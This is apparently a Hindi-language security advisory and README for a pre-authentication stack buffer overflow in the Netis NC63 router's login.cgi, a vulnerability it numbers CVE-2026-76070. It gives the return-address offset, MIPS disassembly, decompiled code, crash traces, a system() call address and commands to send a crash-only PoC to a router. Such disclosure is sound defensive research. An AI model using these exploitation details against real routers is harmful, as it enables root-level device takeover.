
Netis NC63 login.cgi में प्री-ऑथ Base64-डिकोडेड पासवर्ड स्टैक बफर ओवरफ्लो के लिए मूल शोध और गैर-विनाशकारी PoC
login.cgi में बेस64-डिकोडेड पासवर्ड के माध्यम से बिना प्रमाणीकरण (प्री-ऑथ) स्टैक बफर ओवरफ्लो, जो RCE की ओर ले जाता हैशोधकर्ता: Özcan Ersan (@ozcanpng)
CVE-2026-76070NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/login.cgipasswordNetis NC63 फर्मवेयर V3.0.0.3327 में सार्वजनिक लॉगिन हैंडलर हमलावर-नियंत्रित
password पैरामीटर प्राप्त करता है और उसे कस्टम बेस64 रूटीन
FUN_00402bd4 से डिकोड करता है। कॉलर 64-बाइट लोकल स्टैक बफर प्रदान करता है
लेकिन डिकोडर को उसकी क्षमता (capacity) नहीं देता। डिकोडर अपना कार्य
एन्कोडेड इनपुट से लेता है और गंतव्य के अंत की जाँच किए बिना डिकोडेड बाइट्स लिखता है।
सहेजा गया MIPS रिटर्न पता डिकोडेड बफर की शुरुआत से 136 बाइट्स दूर है। मूल-हैश प्रोडक्शन CGI के विरुद्ध गतिशील परीक्षणों ने पुष्टि की:
B पैटर्न 0x42424242 पर फॉल्ट उत्पन्न करता है;ra को 0x0041a2e0 से बदलने पर लॉगिन हैंडलर में दूसरा प्रवेश
देखा गया, जो प्रोग्राम-काउंटर नियंत्रण सिद्ध करता है; तथाsystem() कॉल तक
हमलावर-चयनित MIPS a0 मान के साथ पहुँचता है। प्रतिस्थापित /bin/sh ने
/bin/sh -c NC63_RCE_PROOF लॉग किया और कोई कमांड निष्पादित नहीं किया।इस रिपॉजिटरी में सार्वजनिक PoC जानबूझकर एक क्रैश पैटर्न पर रुकता है। इसमें कोई रिटर्न चेन, शेलकोड, कमांड, रिवर्स शेल या पर्सिस्टेंस नहीं है।
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
गतिशील रूप से परीक्षित /bin/netis.cgi प्रति का SHA-256 विक्रेता-निकाले गए
एक्ज़ीक्यूटेबल के समान है।

विक्रेता फ्रंटएंड पासवर्ड को सार्वजनिक समापन बिंदु पर बेस64 के रूप में भेजता है:
obj.password = base64encode(utf16to8(password));
request({
url: "/cgi-bin/login.cgi",
data: obj
});
HTML फ़ील्ड maxlength="63" का उपयोग करता है, लेकिन यह केवल ब्राउज़र-पक्ष
प्रतिबंध है। एक सीधा HTTP क्लाइंट बड़ा एन्कोडेड मान सबमिट कर सकता है।

login.cgi प्रमाणीकरण से पहले आवश्यक रूप से पहुँच योग्य है। असुरक्षित डिकोड
डिकोडेड पासवर्ड की कॉन्फ़िगर किए गए व्यवस्थापक पासवर्ड से तुलना होने से पहले
होता है। कोई मान्य सत्र, Cookie हेडर, Authorization हेडर या सही पासवर्ड आवश्यक नहीं है।
Unauthenticated HTTP client
|
| POST /cgi-bin/login.cgi
| password=<attacker-controlled Base64>
v
/bin/netis.cgi: FUN_0041a2e0
|
| get_request_param("password")
v
FUN_00402bd4(decoded_stack_buffer, encoded_password)
|
| no destination-capacity argument
| decoded output exceeds 64 bytes
v
saved s8 at decoded offset 132
saved ra at decoded offset 136
|
v
attacker-selected MIPS PC
Ghidra-व्युत्पन्न स्यूडोकोड, पठनीयता के लिए नाम सामान्यीकृत:
int login_cgi(void *request)
{
char decoded[64];
char stored[68];
char *password;
memset(decoded, 0, 64);
memset(stored, 0, 64);
password = get_request_param(request, "password");
if (password != NULL)
FUN_00402bd4(decoded, password); /* no capacity argument */
apmib_get(0x15e, stored);
if (strcmp(decoded, stored) == 0)
printf("[\"SUCCESS\"]");
else {
system("echo 0 >/tmp/boa_auth");
printf("[\"%d\"]", 0x15);
}
return 0;
}

FUN_00402bd4 पर डिकोडर केवल गंतव्य और स्रोत पॉइंटर्स प्राप्त करता है।
इसका लूप गंतव्य पॉइंटर को आगे बढ़ाता है और प्रत्येक चार बेस64 प्रतीकों के लिए
तीन डिकोडेड बाइट्स तक संग्रहीत करता है। कोई तुलना गंतव्य को decoded + 64 के
विरुद्ध जाँच नहीं करती।

बेस64 इनपुट परिवर्तन है, अंतर्निहित दोष नहीं। मूल कारण हमलावर-नियंत्रित डिकोडेड लंबाई और एक निश्चित-आकार के गंतव्य के बीच का बेमेल है जिसकी क्षमता कभी लागू नहीं की जाती। सामान्य पैडेड इनपुट के लिए, चार एन्कोडेड वर्ण तीन डिकोडेड बाइट्स तक दर्शाते हैं; इसलिए सर्वर-पक्ष जाँचों को लिखने से पहले डिकोडेड आकार की गणना और सत्यापन करना चाहिए।
FUN_0041a2e0 0x0041a2e0 पर शुरू होता है और एक 0xa8-बाइट फ्रेम बनाता है:
0041a2e0 addiu sp,sp,-168
0041a2e4 sw ra,164(sp)
0041a2e8 sw s8,160(sp)
0041a2ec move s8,sp
डिकोडेड गंतव्य s8+0x1c पर शुरू होता है; सहेजे गए s8 और सहेजे गए ra
s8+0xa0 और s8+0xa4 पर हैं:
decoded[64] s8+0x1c decoded offset 0
saved s8 s8+0xa0 decoded offset 132
saved ra s8+0xa4 decoded offset 136
सटीक रिटर्न-पता दूरी 0xa4 - 0x1c = 0x88, यानी 136 बाइट्स है।

140-बाइट डिकोडेड B पैटर्न ने चार-बाइट सहेजे गए रिटर्न पते को बदल दिया:
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault)

एक अलग 140-बाइट इनपुट ने सहेजे गए ra को 0x0041a2e0 पर सेट किया। QEMU CPU
ट्रेसिंग ने एक सामान्य पहला हैंडलर प्रवेश दर्ज किया जिसके बाद s8=0x41414141
और ra=0x0041a2e0 के साथ दूसरा प्रवेश दर्ज हुआ।

मूल बाइनरी में 0x0041a3cc पर एक सीधा jal system है। निजी पृथक सत्यापन में,
मौजूदा निश्चित-आधार निर्देशों ने a0 में एक मार्कर लोड किया और उस कॉल तक
पहुँचे। एक स्थिर अवलोकन प्रोग्राम /bin/sh के ऊपर माउंट किया गया था; इसने
कमांड-इंटरप्रेटर तर्कों को लॉग किया और कुछ भी निष्पादित नहीं किया:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_RCE_PROOF>
CONTROLLED_MARKER_REACHED
PASS: attacker-controlled a0 reached system() and /bin/sh argv.
PASS: the guard logged the request and executed no command.
यह पृथक प्रोडक्शन-कोड पथ में एक RCE प्रिमिटिव प्रदर्शित करता है। यह भौतिक राउटर पर उसके परिनियोजित कर्नेल और स्टैक-रैंडमाइज़ेशन कॉन्फ़िगरेशन के अंतर्गत समान एक्सप्लॉइट विश्वसनीयता स्थापित नहीं करता है।
मूल Boa कॉन्फ़िगरेशन User root, Group root, और /bin तथा /web/cgi-bin
युक्त CGI पथ निर्दिष्ट करता है। प्रोडक्शन एक्ज़ीक्यूटेबल निश्चित आधार
(0x00400000) पर है, इसमें कोई स्टैक कैनरी या RELRO नहीं है, और RWX सेगमेंट
के साथ एक निष्पादन योग्य GNU स्टैक घोषित करता है।


शामिल स्क्रिप्ट डिफ़ॉल्ट रूप से ड्राई-रन मोड में है और केवल एक बेस64 फॉर्म
बॉडी उत्पन्न करती है जिसमें डिकोडिंग के बाद 140 B बाइट्स होते हैं:
python3 poc/poc.py
भेजने के लिए एक स्पष्ट रूप से अधिकृत लक्ष्य और --send की आवश्यकता है:
python3 poc/poc.py --target http://192.168.1.1 --send
पैटर्न भेजने से CGI प्रक्रिया क्रैश हो सकती है। इसका उपयोग केवल एक अधिकृत, डिस्पोज़ेबल वातावरण में करें। PoC निजी RCE सत्यापन श्रृंखला को लागू नहीं करता है।
सफल शोषण राउटर-प्रबंधन संदर्भ में हमलावर-चयनित कोड या कमांड निष्पादित कर सकता है। मूल Boa कॉन्फ़िगरेशन के अंतर्गत यह संदर्भ रूट के रूप में चलता है। संभावित परिणामों में कॉन्फ़िगरेशन और गोपनीय डेटा का प्रकटीकरण, DNS/फ़ायरवॉल/रूटिंग हेरफेर, ट्रैफ़िक पुनर्निर्देशन, सेवा व्यवधान और पूर्ण डिवाइस समझौता शामिल हैं।
FUN_00402bd4 के हर कॉलर का ऑडिट करें।स्क्रीनशॉट और ट्रेस मैपिंग के लिए evidence/README.md देखें।
सामान्यीकृत Ghidra अंश
attachments/decompiled-functions/ के अंतर्गत हैं।
CVE-2026-76070 निर्धारित किया और सार्वजनिक
प्रकटीकरण को अधिकृत किया।कोई भौतिक राउटर फ्लैश नहीं किया गया। किसी वास्तविक शेल कमांड, रिवर्स शेल, पर्सिस्टेंस, बाहरी कनेक्शन, क्रेडेंशियल चोरी या विनाशकारी फर्मवेयर ऑपरेशन का उपयोग नहीं किया गया।